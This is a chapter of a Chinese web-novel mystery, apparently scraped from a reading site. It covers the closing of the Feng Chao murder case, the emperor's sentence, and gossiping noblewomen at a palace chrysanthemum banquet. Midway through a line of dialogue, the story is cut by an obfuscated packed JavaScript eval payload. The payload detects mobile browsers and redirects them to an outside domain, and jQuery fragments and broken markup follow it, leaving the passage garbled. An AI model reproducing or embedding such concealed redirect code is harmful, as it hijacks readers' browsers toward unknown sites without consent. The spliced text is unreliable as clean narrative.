默认冷灰
24号文字
方正启体

19. 第 19 章

作者:启飞本书字数:K更新时间:
    裴府的烛火直至三更仍亮着微光。


    裴知微坐在廊下的竹椅上,膝头搭着块素色绒毯,耳朵不时捕捉着院外的动静。


    白日里在月老庙擒住冯朝后,便直接送去了大理寺,想必父亲一直在审,至今连家都没回,此刻她心里有一事想不通,硬是熬着没去歇息。


    一阵熟悉的脚步声从月洞门方向传来,裴知微立刻起身迎上去。


    裴凛身着官服,眉宇间带着掩不住的疲惫,连平日里挺得笔直的脊背都微微垮了些,唯有眼神依旧清明。


    “怎么还没睡?”他伸手揉了揉女儿的发顶,语气里满是疼惜。


    “等您回来问件事。”裴知微扶着父亲往屋内走,顺手端过桌上温着的姜汤。


    “冯朝既非秦府旧识,又无亲友牵扯,秦娘子素来谨守礼教,怎会夜半给他开门?”


    这疑问在她心里盘桓了整日,即便冯朝已认罪,她仍想不通这关键一节。


    裴凛接过姜汤一饮而尽,暖意顺着喉咙往下淌,才缓过些精神。


    “冯朝在堂上证供时说了,三年前秦娘子随柳氏去城外上香,回程时遇着山匪,是他恰好路过出手相救。”


    他在太师椅上坐下,指尖轻轻叩着扶手,“当时他出手利落,事后也没收秦家半分谢礼,只说‘举手之劳’。”


    “春桃也来大理寺补了供词。”裴凛继续道。


    “说秦娘子自那以后,便觉得冯朝是个品性端正的君子。


    冯朝在月老庙久了,素来温和守礼,香客有疑问他都耐心解答,遇上老弱妇孺还会主动帮忙。


    秦娘子去庙里求符,冯朝也始终保持着距离,从不多言半句逾矩的话,这般模样,让她渐渐放下了戒心。”


    裴知微恍然大悟,原来还有这层渊源。


    冯朝正是借着“救命之恩”与“长期守礼”的伪装,才让秦娘子卸下防备,信了他“夜半交符保姻缘”的鬼话。


    她正想着,裴凛又开口说起审案的细节。


    “冯朝对所有罪行都供认不讳,包括如何接近苦主,如何设计杀害细节都交代得清清楚楚。


    我们还传了各家的证人,都一一录了证言,把冯朝如何诱骗、如何动手的过程都补全了,证据链算是彻底闭环了。”


    “那陛下知道了吗?”裴知微追问,眼里带着几分急切。


    裴凛摇了摇头:“今日太晚了,卷宗还没整理好,不过冯朝的罪行已经查清,斩刑是跑不了的。只是还得等整理好所有卷宗,再交陛下最终批复。”


    他顿了顿,声音沉了些,“这案子牵扯太广,那几位受害女子的家人,明日也得召来大理寺,把案情跟他们说清楚,也算是给他们一个交代。”


    接下来的几日,裴凛都泡在大理寺整理卷宗。


    裴知微偶尔会去帮忙,看着案桌上堆叠的证词、勘验记录与冯朝的供词,一点点被梳理成条理清晰的卷宗,心里也渐渐安定下来。


    直到第五日清晨,裴凛才带着整理好的卷宗入宫。


    御书房内,皇帝抬手接过卷宗。


    从“秦氏自缢案”的初查记录,到勘验时寻见的“半枚鞋印”,再到嫌犯冯朝招认连番作案的供词,每一页、每一行,他都逐字逐句细细审阅。


    越往后读,眉峰便越拧越紧,脸上的温色渐渐褪|去,取而代之的是一层沉郁。


    等翻到最后一页,皇帝猛地将卷宗往案上一拍,龙颜大怒。“荒唐!实在是荒唐!”


    “冯朝不过是个庙祝,身份低微,竟敢在京城腹地连害七条人命!


    还次次都伪装成自缢的模样,这么久竟没一个人察觉出异样!”


    他踱了两步,语气愈发沉厉,“这京畿之地是朕的眼皮子底下,治下竟乱到了这般田地!”


    话锋一转,他看向阶下:“这次若不是裴卿与裴家小娘子心细如发,勘破了疑点,这案子难道就要这么被蒙在鼓里,永远查不出来了吗?”


    阶下的裴凛早已跪伏在地,垂着头连大气都不敢喘,只听着头顶上传来的怒声,脊背绷得笔直。


    皇帝闭了闭眼,深吸一口气,可再开口时,语气里的怒火依旧未消。


    “这帮混账治家不严,出了人命倒知道脸面了,知道遮掩了。


    这才纵得冯朝连杀七人都没人察觉!


    朕看他们也该好好反省!统统罚俸一年,以示警告,若以后谁家再敢出现类似之事,严惩不贷!”


    他话音刚落,又拿起冯朝的供词,“冯朝罪大恶极,判斩刑,三日后在西市行刑,让京中百姓都看看,滥杀无辜的下场!”


    裴凛连忙叩首:“臣遵旨!”


    待裴凛从宫里出来,已是正午。


    他回到裴府,把皇帝的旨意告知裴知微,父女俩这才彻底松了口气。


    裴知微望着窗外明媚的阳光,想起秦朝朝、王玉兰她们,心里虽仍有惋惜,却也多了几分慰藉。至少真相大白,凶手也将得到应有的惩罚。


    转眼便到了九九重阳节。


    按宫里惯例,皇后要在御花园办赏花宴,邀请京中各府的女眷赴宴。


    裴知微跟着母亲燕惊鸿,还是头一遭入宫参加这样的场合。


    马车停在宫门外,燕惊鸿仔细替女儿理了理藕荷色襦裙的领口,又叮嘱道:“宫里规矩多,待会儿跟着我,少说话多听着,别失了分寸。”


    裴知微应着,扶着母亲的手慢慢往里走。


    御花园里早已热闹起来,满院的菊|花竞相开放,黄的、白的、紫的,开得热热闹闹。


    各府女眷三三两两聚着,有的围着花坛细赏秋菊,指尖轻点着花瓣低声品评。


    有的在亭子里围坐,茶盏相碰的清脆声混着说笑,顺着风飘得满苑都是,倒让这秋日添了好些活气。


    裴知微跟着母亲燕惊鸿寻了处开阔地站定,刚歇下脚,就听见不远处石桌旁传来细碎话语,正在议论冯朝案子。


    身着嫩黄|色襦裙的小娘子捧着茶盏,语气里还带着后怕。


    “那冯朝也太大胆了,京城里竟敢连害七条性命,还都装成自缢的模样。


    若不是裴少卿家的小娘子找出线索,这案子指不定要瞒到什么时候。”


    话音刚落,身旁着水蓝色衣裙的女子便轻嗤一声,指尖摩挲着茶盏边缘,慢悠悠抿了口茶。


    “依我看,那些女子也是自找的。偏要心里装些不三不四的人,落得那样的下场,说到底还是自己不检点。”


    “可不是嘛!”穿粉襦裙的女子凑过来,声音压得低了些,却还是飘到了裴知微耳中。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368464|183929||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “就说秦御史家的秦朝朝,从前京里谁不赞她是闺阁典范?知书达理,礼数周全,结果呢?还不是半夜给外男开门?


    传出去都丢尽咱们官宦小姐的脸面,也难怪瑞亲王殿下先前对她冷淡。”


    几人跟着附和,语气里的鄙夷像针似的扎人。


    裴知微眉头拧得紧紧的,秦娘子明明是受害者,却要被这般苛责。


    燕惊鸿察觉女儿的僵硬,悄悄拍了拍她的手背,示意她别往心里去。


    裴知微深吸口气,压下心头的憋闷,转头看向满园开得正好的菊|花,只觉得方才那些议论,比秋日里的凉风还要刺耳。


    正说着话,不远处忽然传来熟稔的呼唤:“惊鸿妹妹!这边来!”


    二人转头看,只见礼部侍郎夫人站在紫藤花架下挥手,身边还围着几位衣着体面的官太太。


    燕惊鸿俯身对裴知微叮嘱:“你在这儿等片刻,娘去去就回,别乱走动。”


    裴知微点头应下,看着母亲提着裙摆快步走向花架,才转身寻了处无人的石凳坐下。


    刚歇没一会儿,身后就传来脚步声。她回头,正是方才议论秦朝朝的那几个女子。


    为首的便是那身着水蓝色衣裙的娘子,脸上堆着刻意的热络,走近了便开口:“这位便是裴少卿家的裴娘子吧?今日一见,果然是有大家气度的。”


    裴知微起身颔首,语气平淡:“诸位姐姐客气了。”


    想起秦朝朝明明是受害者,却被她们说成“不检点”,她心里实在别扭,可又不好当面驳了几位官家小姐的颜面,着实提不起热络的兴致。


    穿粉色襦裙的女子凑上前来,目光好奇地上下打量她。


    “我们方才还在说冯朝的案子呢,京里都传,是裴娘子你从现场找出了好多关键线索。连大理寺的老捕快都没发现,不知你是怎么察觉那些蛛丝马迹的?”


    这话一出,其余几人也纷纷附和,眼神里满是探究。身着嫩黄|色襦裙的娘子更是追问。


    “听说秦府闺房里的地毯鞋印,浅得几乎看不见,你是怎么找着的?还有仵作都没看出勒痕有问题,你又是怎么断定不是自缢的?”


    裴知微握着帕子的手紧了紧,脸上露出几分为难。


    父亲早有叮嘱,冯朝一案虽已定罪,但卷宗尚未完全公开。


    且按大梁律法,案件细节属官府机密,非相关衙署人员不得随意透露,即便对方是官家女娘,她也不能破例。


    她斟酌着开口:“诸位姐姐体谅,按律法规定,案件相关细节属官府机密,我不便多言,还望姐姐们莫要再追问了。”


    这话一出,石凳旁的气氛瞬间冷了下来。


    穿粉色襦裙的女子脸上的好奇立刻转为不满,挑眉道:“裴娘子这是什么意思?不过是问问查案的细节,又不是要你泄露什么要紧机密,怎的还拿律法当借口搪塞我们?”


    水蓝色衣裙的女子也跟着沉了脸,语气带着几分讥讽。


    “莫不是裴娘子根本没传言中那般厉害,那些线索根本不是你找的,如今怕说漏嘴,才故意拿律法挡着吧?”


    “就是啊!”那着嫩黄襦裙的女子也皱起眉,“大家都是京中姐妹,不过是好奇问问,裴娘子这般拒人于千里之外,也太不给面子了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)